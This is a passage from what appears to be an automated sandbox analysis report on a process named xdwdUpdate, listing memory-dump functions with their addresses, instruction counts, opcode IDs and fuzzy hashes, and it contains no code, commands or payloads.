                                                                                                                                                                            • Instruction Fuzzy Hash: C5217C19D3F1DF85FB69A72898371F63B109F55A55F48417BD0A8860F3BD8C342A42A2
                                                                                                                                                                            Function 00007FFE6F7EA173 Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: L
                                                                                                                                                                            • API String ID: 0-2909332022
                                                                                                                                                                            • Opcode ID: 0a44c640efa4ac10c37370861ae95647d14e66747869784fe5a9bf5dcc476f29
                                                                                                                                                                            • Instruction ID: 59dcc681a989cfb63d1d8202d8690eb927f2824f71996539e016621d33d94dc4
                                                                                                                                                                            • Opcode Fuzzy Hash: 0a44c640efa4ac10c37370861ae95647d14e66747869784fe5a9bf5dcc476f29
                                                                                                                                                                            • Instruction Fuzzy Hash: 42011E34D39A5A8EEB58AB2CD4512F872A1FF48710F544079E41ED72E7DE39A841C644
                                                                                                                                                                            Function 00007FFE6F7EF750 Relevance: 1.3, Strings: 1, Instructions: 12COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: -K_L
                                                                                                                                                                            • API String ID: 0-1301972734
                                                                                                                                                                            • Opcode ID: 03442ce4298a5258427716abf748a7bea31bcf57d3081c4fa51c9411d474ab7f
                                                                                                                                                                            • Instruction ID: d1bec76a9cf2ad4b9d28d5f0d2ef79ef1ac727fb9230b0e0a3424cd381d774ce
                                                                                                                                                                            • Opcode Fuzzy Hash: 03442ce4298a5258427716abf748a7bea31bcf57d3081c4fa51c9411d474ab7f
                                                                                                                                                                            • Instruction Fuzzy Hash: C7C02B1130C40507D21C502C3004375C1C3C7DC360F10402AF01DC33CBDC20CD134204
                                                                                                                                                                            Function 00007FFE6F7E248C Relevance: 1.0, Instructions: 1044COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3cea525a81bb5c625aa214d1d57e080d5778c8ef9bee85e5892895fabdbc5bb9
                                                                                                                                                                            • Instruction ID: 67fe7ad991a783f1030526a1ac4bb1ae12e9c4ea190fa5c93b345fbd5a85d351
                                                                                                                                                                            • Opcode Fuzzy Hash: 3cea525a81bb5c625aa214d1d57e080d5778c8ef9bee85e5892895fabdbc5bb9
                                                                                                                                                                            • Instruction Fuzzy Hash: 16729025F3D59E8AF794B73884666BD3293AFC8354F910476E01EC72E6ED2CB8428741
                                                                                                                                                                            Function 00007FFE6F7ED6AA Relevance: .5, Instructions: 525COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 410b6b4b88d820909625936f3d45168261cc479f3061dfd3c7291c4b5673701c
                                                                                                                                                                            • Instruction ID: 094df34ba71bfc804f79089a88620c6570a5d33229a6f2c29de55bac9d40be30
                                                                                                                                                                            • Opcode Fuzzy Hash: 410b6b4b88d820909625936f3d45168261cc479f3061dfd3c7291c4b5673701c
                                                                                                                                                                            • Instruction Fuzzy Hash: CDF1B621E6D6CA4FE756A73C88262A937D29F99314F0901F6D45DC71F3FC2CA8568342
                                                                                                                                                                            Function 00007FFE6F7E26CC Relevance: .5, Instructions: 469COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 192b5af35b3d9e28519e067c69408d45cc9892b284b65ec6bcee5d6e478d358f
                                                                                                                                                                            • Instruction ID: 5f58b1d0e525d227baec98630313ef8374bfb9857f5f48cf9f3a929dab2bc62b
                                                                                                                                                                            • Opcode Fuzzy Hash: 192b5af35b3d9e28519e067c69408d45cc9892b284b65ec6bcee5d6e478d358f
                                                                                                                                                                            • Instruction Fuzzy Hash: 59F14D25F3989E8BF794B73C84666BE2193ABC8354F910475E01ED72E6ED3CBC428644
                                                                                                                                                                            Function 00007FFE6F7ED57D Relevance: .4, Instructions: 402COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6ee2f43d8c3528e81a9c1c279f4880037ef42f058dad1eb6360c3aee0ef63e39
                                                                                                                                                                            • Instruction ID: 4bce4c3e9301c088550230ab5e12aec4eca80125d6c50ca00a17fd0290e045e9
                                                                                                                                                                            • Opcode Fuzzy Hash: 6ee2f43d8c3528e81a9c1c279f4880037ef42f058dad1eb6360c3aee0ef63e39
                                                                                                                                                                            • Instruction Fuzzy Hash: 1AC1A322E7D49E4BE755B73C88262B931C2ABD8315F5505B6E41DC32F2FC2CB8578285
                                                                                                                                                                            Function 00007FFE6F7EE280 Relevance: .4, Instructions: 375COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6ae90efd4b1c871fb083acc19ab38b057509f20fac114fc96ed75b9eb3efd62e
                                                                                                                                                                            • Instruction ID: 8a869f75c910938ce6fe9bf7b0c82a0905a0ee6e2936446b9b480263985da328
                                                                                                                                                                            • Opcode Fuzzy Hash: 6ae90efd4b1c871fb083acc19ab38b057509f20fac114fc96ed75b9eb3efd62e
                                                                                                                                                                            • Instruction Fuzzy Hash: 43C1C525D2E2CE8BE756A36848262F93B919F56310F1905BBD09DC71F3FD1C781A8392
                                                                                                                                                                            Function 00007FFE6F7ED5C0 Relevance: .4, Instructions: 352COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b6b2f9a0d2745895bdd2bf45b7d24e4012c31037834e4a8cf0f350130140c4f6
                                                                                                                                                                            • Instruction ID: c3556a272d7684708b2626ff999ce3908c6e4ec9ebf34aa0e9a556c514143769
                                                                                                                                                                            • Opcode Fuzzy Hash: b6b2f9a0d2745895bdd2bf45b7d24e4012c31037834e4a8cf0f350130140c4f6
                                                                                                                                                                            • Instruction Fuzzy Hash: 91B1A022E7D49E4AFB98B73C88262B931C2ABD8315F540575E41DC32F6FC2CB8578285
                                                                                                                                                                            Function 00007FFE6F7EE409 Relevance: .2, Instructions: 236COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e68ca8752b3d5f98fe8dc77614b5ed71bf71048faf21df5a4ef9633643c76f72
                                                                                                                                                                            • Instruction ID: c3bf76eae19201f962122bf9a7c291d44ad4a51034eda15b0827499b9981d18c
                                                                                                                                                                            • Opcode Fuzzy Hash: e68ca8752b3d5f98fe8dc77614b5ed71bf71048faf21df5a4ef9633643c76f72
                                                                                                                                                                            • Instruction Fuzzy Hash: 8A713F25E3A9AFCAFAA5E71884716FD72D1EF58704B520476E81ED31E2FD1878058390
                                                                                                                                                                            Function 00007FFE6F7EED9C Relevance: .2, Instructions: 202COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cc6d705dd871df01f22af40c975ea9e92effd8bc139743b380ee5382b3f86553
                                                                                                                                                                            • Instruction ID: 37ed59ee2a811e0690db0b3ca583f1f1cd99cc407e52cf33453c088a8bb450ea
                                                                                                                                                                            • Opcode Fuzzy Hash: cc6d705dd871df01f22af40c975ea9e92effd8bc139743b380ee5382b3f86553
                                                                                                                                                                            • Instruction Fuzzy Hash: 1E513F25E3D44E8AFBA8B22C48263FD31C1DB94315F15167AE45EC22E7FD18B81682D2
                                                                                                                                                                            Function 00007FFE6F7E446C Relevance: .2, Instructions: 194COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d85e652f55a243b2c250035127973aa585f7debb9f9c7338ae07ed6952c2aac7
                                                                                                                                                                            • Instruction ID: f190ff93f7ea89c6e7a81c686cced32127280e9c1df02e84f5b00aa49db4313e
                                                                                                                                                                            • Opcode Fuzzy Hash: d85e652f55a243b2c250035127973aa585f7debb9f9c7338ae07ed6952c2aac7
                                                                                                                                                                            • Instruction Fuzzy Hash: A1517131918A5C8FDB58DF58D845BE9BBB1FB59310F0082ABD44DE3252DE34A985CB81
                                                                                                                                                                            Function 00007FFE6F7EC0BF Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a1a7caae35c4144be6a7789da395e9a4885700cf8b298a5e33553ebce0712305
                                                                                                                                                                            • Instruction ID: f1103ec13332a5c2b0040338f1081eb787dcad4e10f0df2803634559d0cfcdcd
                                                                                                                                                                            • Opcode Fuzzy Hash: a1a7caae35c4144be6a7789da395e9a4885700cf8b298a5e33553ebce0712305
                                                                                                                                                                            • Instruction Fuzzy Hash: 8051A57DD3D58E8AEF98DB5898266F87B90EF65302F14013AD42DD72E1FE287405C681
                                                                                                                                                                            Function 00007FFE6F7E1D27 Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 57f535f1de8aef909de8bece06f2cef7f21272074b48c55eb183db6831433b33
                                                                                                                                                                            • Instruction ID: fdaf8b04014061726f2fb04db5a7f011d32efbbed066e1a251f64267ef7302cd
                                                                                                                                                                            • Opcode Fuzzy Hash: 57f535f1de8aef909de8bece06f2cef7f21272074b48c55eb183db6831433b33
                                                                                                                                                                            • Instruction Fuzzy Hash: 33513519F3D5CF8AF6817BBC04364FD69629F82201B8044B6E1ADE76EBFC2C68154356
                                                                                                                                                                            Function 00007FFE6F7EFDC4 Relevance: .2, Instructions: 191COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 162f22bfe0ae71a7b5a97c04b497b81c8ae147d46e7d336e15c2701bebb4f95e
                                                                                                                                                                            • Instruction ID: 1e400638fac163362ef172ac15565d3bc567b571571a5526b917c33f9c48f6f4
                                                                                                                                                                            • Opcode Fuzzy Hash: 162f22bfe0ae71a7b5a97c04b497b81c8ae147d46e7d336e15c2701bebb4f95e
                                                                                                                                                                            • Instruction Fuzzy Hash: 2A51E635E3D48A87EB19F72C98622F932819F94304F1401BAE45DD72F7FE1C78168282
                                                                                                                                                                            Function 00007FFE6F7E71E0 Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6e667a23aae6b02f51ff55d1a6c77c6611df42ddd52c91ce0ea1cba3a6a9236e
                                                                                                                                                                            • Instruction ID: 50bd5a6afc3fd8c740d15f6c6173a1d321a9eb28784a1a78dcc92fe29df11c5f
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e667a23aae6b02f51ff55d1a6c77c6611df42ddd52c91ce0ea1cba3a6a9236e
                                                                                                                                                                            • Instruction Fuzzy Hash: FD518A30928A8D8FEBA8DF28D8557E977E1FF54300F10826EE85DC7295DF34A5458B82
                                                                                                                                                                            Function 00007FFE6F7E7A37 Relevance: .2, Instructions: 182COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a071e81ed54510665fd929b3c05158712a7c518809af33708b8bb33d41775c22
                                                                                                                                                                            • Instruction ID: edb42fe88b6b5ba613304eacd8e0f223db439b4d986dcfb8d9a28a1e9af8629b
                                                                                                                                                                            • Opcode Fuzzy Hash: a071e81ed54510665fd929b3c05158712a7c518809af33708b8bb33d41775c22
                                                                                                                                                                            • Instruction Fuzzy Hash: 0751A430628A4D8FEB64DF28C8557E977D1FF54310F04826EE86DC72A5DF38A9458B82
                                                                                                                                                                            Function 00007FFE6F7EACEF Relevance: .2, Instructions: 173COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 29a760dbf1526d1f3dc80e84da3a01e4a23c4decae357570e1696fbb3cf4272a
                                                                                                                                                                            • Instruction ID: ba8030f4334cc29851cd0b3f1b28092dc4dede41728b33689d66f5b3fecec484
                                                                                                                                                                            • Opcode Fuzzy Hash: 29a760dbf1526d1f3dc80e84da3a01e4a23c4decae357570e1696fbb3cf4272a
                                                                                                                                                                            • Instruction Fuzzy Hash: 46511A35A3995D8FEB84FB2898666FC77E1EF58301F40007AE41ED72B2EE2878458740
                                                                                                                                                                            Function 00007FFE6F7EE015 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 24c6bc7bad1e132dedf1481453716f8a7dfed411e9155423366562889128574b
                                                                                                                                                                            • Instruction ID: 5504feebd371ecdeb28b31714accc6062d61538bfdc064f91cb82131c87ec7c0
                                                                                                                                                                            • Opcode Fuzzy Hash: 24c6bc7bad1e132dedf1481453716f8a7dfed411e9155423366562889128574b
                                                                                                                                                                            • Instruction Fuzzy Hash: E751B515C3E2DE8AFB61676894217F93A914F51314F0A08B7D4ACAB1E3FD1C7C858352
                                                                                                                                                                            Function 00007FFE6F7F0A23 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: edc3cb83afe310d50b4113110f4094f666d47313dc3a8175b4761d4cf387beaf
                                                                                                                                                                            • Instruction ID: 58143fd7693f17749682cd38e19dd5b85ec84955492e17adc77daf86252c6413
                                                                                                                                                                            • Opcode Fuzzy Hash: edc3cb83afe310d50b4113110f4094f666d47313dc3a8175b4761d4cf387beaf
                                                                                                                                                                            • Instruction Fuzzy Hash: 21519125D3F2CE8EE76A57248C156E43B619F12309F5531FAC489C72F3F91C785A8292
                                                                                                                                                                            Function 00007FFE6F7EBF03 Relevance: .2, Instructions: 164COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 35bb4afbb0f26d6894d91befbc34696e72054520ac8684b5c329b910ec5ee2ad
                                                                                                                                                                            • Instruction ID: ca6ccaaae0cddcc0d8b157ed2a20c744895ef86646a030b2779117f86f5f382b
                                                                                                                                                                            • Opcode Fuzzy Hash: 35bb4afbb0f26d6894d91befbc34696e72054520ac8684b5c329b910ec5ee2ad
                                                                                                                                                                            • Instruction Fuzzy Hash: 8F51621983F3CE8EE72653245C721E97FA09F56216F5905FBD498C70E3EA0D784A8352
                                                                                                                                                                            Function 00007FFE6F7EFDFF Relevance: .2, Instructions: 159COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fd39110fca58ece1f6a42c4b756d9a06d86280b8c6deb7895c8c400838f14e2f
                                                                                                                                                                            • Instruction ID: 3dbaef0766c55f480bc1c01eeedc780a8adbf41d72e03e77846bdcc93f0b2714
                                                                                                                                                                            • Opcode Fuzzy Hash: fd39110fca58ece1f6a42c4b756d9a06d86280b8c6deb7895c8c400838f14e2f
                                                                                                                                                                            • Instruction Fuzzy Hash: 2B415A24F3D89A82EB58B72C58666F931859F94304F54017AE46DD32E7FE1CBC168286
                                                                                                                                                                            Function 00007FFE6F7EB231 Relevance: .2, Instructions: 156COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2661cce7149f6bd93f340ad421d8d13c1a231fa8d0de91d6c3e53b3eb694021a
                                                                                                                                                                            • Instruction ID: b931791ee3b16ace8298dc2c60e09f33ae50bd6e61d966a637d37e2267dd46a0
                                                                                                                                                                            • Opcode Fuzzy Hash: 2661cce7149f6bd93f340ad421d8d13c1a231fa8d0de91d6c3e53b3eb694021a
                                                                                                                                                                            • Instruction Fuzzy Hash: B6518A25E3E7DE8FE752532C98661A83EA19F66310F0941BBC09CCB1E3ED1D78458352
                                                                                                                                                                            Function 00007FFE6F7F072F Relevance: .2, Instructions: 154COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 75e7008c23dc4a8e1c251bea290c44bd84827abfb7bdbd0a437575a15cc2759a
                                                                                                                                                                            • Instruction ID: 303d414b506a2bd1d810e3021dab4629cf5f844eebba13252c81cfbcd9f868c4
                                                                                                                                                                            • Opcode Fuzzy Hash: 75e7008c23dc4a8e1c251bea290c44bd84827abfb7bdbd0a437575a15cc2759a
                                                                                                                                                                            • Instruction Fuzzy Hash: 8741AC35D3B99ECEEFA5E72884162F932A1EF58310F402079D40DD32A1EE2CB8558B81
                                                                                                                                                                            Function 00007FFE6F7E2ED3 Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 343a41c9c0b5b3badfc8b4f753006a2ee417cc1ab264467ea52896fa92fe35b7
                                                                                                                                                                            • Instruction ID: c3630b04027ea0cbc12acbc502bef0112c8a60fdddb84e88a3cca40c181d5c18
                                                                                                                                                                            • Opcode Fuzzy Hash: 343a41c9c0b5b3badfc8b4f753006a2ee417cc1ab264467ea52896fa92fe35b7
                                                                                                                                                                            • Instruction Fuzzy Hash: 2B414F25F3949E8AF754B72C88A76FD3282EB98345F540536E41DC32E6FD2C78468642
                                                                                                                                                                            Function 00007FFE6F7EA0AE Relevance: .1, Instructions: 139COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6e0bf090b9e0335fab341a0f31a3c09d9b2f2767ef90a638e1577062650c80ea
                                                                                                                                                                            • Instruction ID: 039d97c0c55110ddf69822e96e0d3bdef8777434a8c31efcf7f463af70202723
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e0bf090b9e0335fab341a0f31a3c09d9b2f2767ef90a638e1577062650c80ea
                                                                                                                                                                            • Instruction Fuzzy Hash: 6C41E430D2AA8E8FEB559B6894515E8B7B0FF5A310F4401BAE41DD32E2EE28A841C741
                                                                                                                                                                            Function 00007FFE6F7E2CF6 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
